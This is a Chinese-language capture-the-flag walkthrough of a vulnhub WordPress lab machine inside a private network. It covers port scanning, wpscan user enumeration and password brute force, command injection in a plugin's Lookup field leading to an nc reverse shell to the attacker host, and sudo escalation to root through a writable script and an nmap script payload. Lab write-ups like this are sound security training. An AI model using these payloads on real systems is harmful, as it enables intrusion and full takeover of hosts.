nmap扫描---->wpscan枚举wordpress用户---->wpscan暴力破解wordpress用户名密码---->利用RCE漏洞getshell---->sudo提权
环境信息:攻击机ip:192.168.101.25
靶机ip:192.168.101.38
此外,根据vulnhub上的提示,渗透本靶机还需要在攻击机上配置hosts文件
hosts文件的位置:
linux系统:/etc/hosts
windows系统:C:\Windows\System32\drivers\etc\hosts
具体步骤: 步骤1:nmap扫描sudo nmap -sS -A -p- 192.168.101.38
22端口(ssh)和80端口(http)开放,并且80端口是wordpress
涉及到wordpress的站点,一般想到的方法是登录之后利用wordpress的一些后台功能getshell。所以首先需要登录。
用dirb和nikto扫描之后,都没有找到关于用户名和密码的信息。
这里来试试用wpscan枚举用户名。
输入如下命令,注意url参数值需要是http://wordy,不能是http://靶机ip
sudo wpscan --url http://wordy -e
找到5个用户名:admin,jens,mark,sarah,graham
把这些用户名以一行一个的格式保存在/home/kali/users.txt中备用。
关于wordpress登录密码,vulnhub上给了clue
rockyou.txt是kali自带的一个好大的字典,大到一开始是压缩包,要先解压缩才能用
解压缩
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
在rockyou.txt中查找包含k01的字符串,并写入文件passwords.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
wpscan暴力破解wordpress用户名和密码:
sudo wpscan --url http://wordy -U '/home/kali/users.txt' -P '/home/kali/passwords.txt'
有一组用户名密码可用:用户名mark,密码helpdesk01
在http://wordy/wp-login.php用这组用户名密码登录成功
在http://wordy/wp-admin/转了一圈发现,mark用户并没有之前几个靶机中遇到过的Appearance页面,此路不通。
这时想到网站主页一直在强调安全的plugins,那么可以用wpscan扫扫看是否有有漏洞的plugin
用如下命令扫描:
sudo wpscan --url http://wordy/ --http-auth mark:helpdesk01 -e vp
没扫出结果:
仔细观察http://wordy/wp-admin/之后发现Activity monitor的Tools选项卡有远程命令执行漏洞。
具体来说,在下图所示的输入框中输入 某个ip;某条命令 。比如192.168.101.1;whoami
会遇到前端输入长度限制的问题,只要在输入框上 右键--检查 把输入框的maxlength改大即可(原来是15,我改到了100)。
然后点Lookup按钮,可以发现whoami的命令执行结果www-data
试了几种反弹shell之后,发现nc反弹shell好使。
攻击机上监听2333端口
nc -nlvp 2333
输入框中输入如下内容,点Lookup按钮后可得到反弹shell
127.0.0.1;nc -e /bin/bash 192.168.101.25 2333
输入
python -c 'import pty; pty.spawn("/bin/bash")'
得到交互式shell
在反弹shell中找啊找,发现/home/mark/stuff目录下有个可疑文件things-to-do.txt
里面记录了一个新建的用户graham和其密码GSo7isUM1D4
用graham成功地进行了ssh登录在graham的shell中看看其是否有可以sudo执行的命令
sudo -l
发现 graham 可以以 jens的身份执行/home/jens/backups.sh
/home/jens/backups.sh的内容是备份/var/www/html文件夹,似乎没什么用。
但如果graham可以修改该文件的内容,就可以得到jens的shell。
ls -al
可以看到该文件的属组是devs
再输入
id
可以看到graham用户也是devs的组成员。
也就是说graham用户可以修改/home/jens/backups.sh文件。
用echo命令改写/home/jens/backups.sh的内容
echo "/bin/bash" > backups.sh
用jens的身份执行,得到jens的shell
sudo -u jens /home/jens/backups.sh
查看jens可以sudo执行的命令,发现其可以以root的身份执行nmap命令
在gtfobins上查找nmap,找到sudo提权的payload
执行如下命令,得到root的shell
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
用python得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在/root/下找到theflag.txt文件,并读取其内容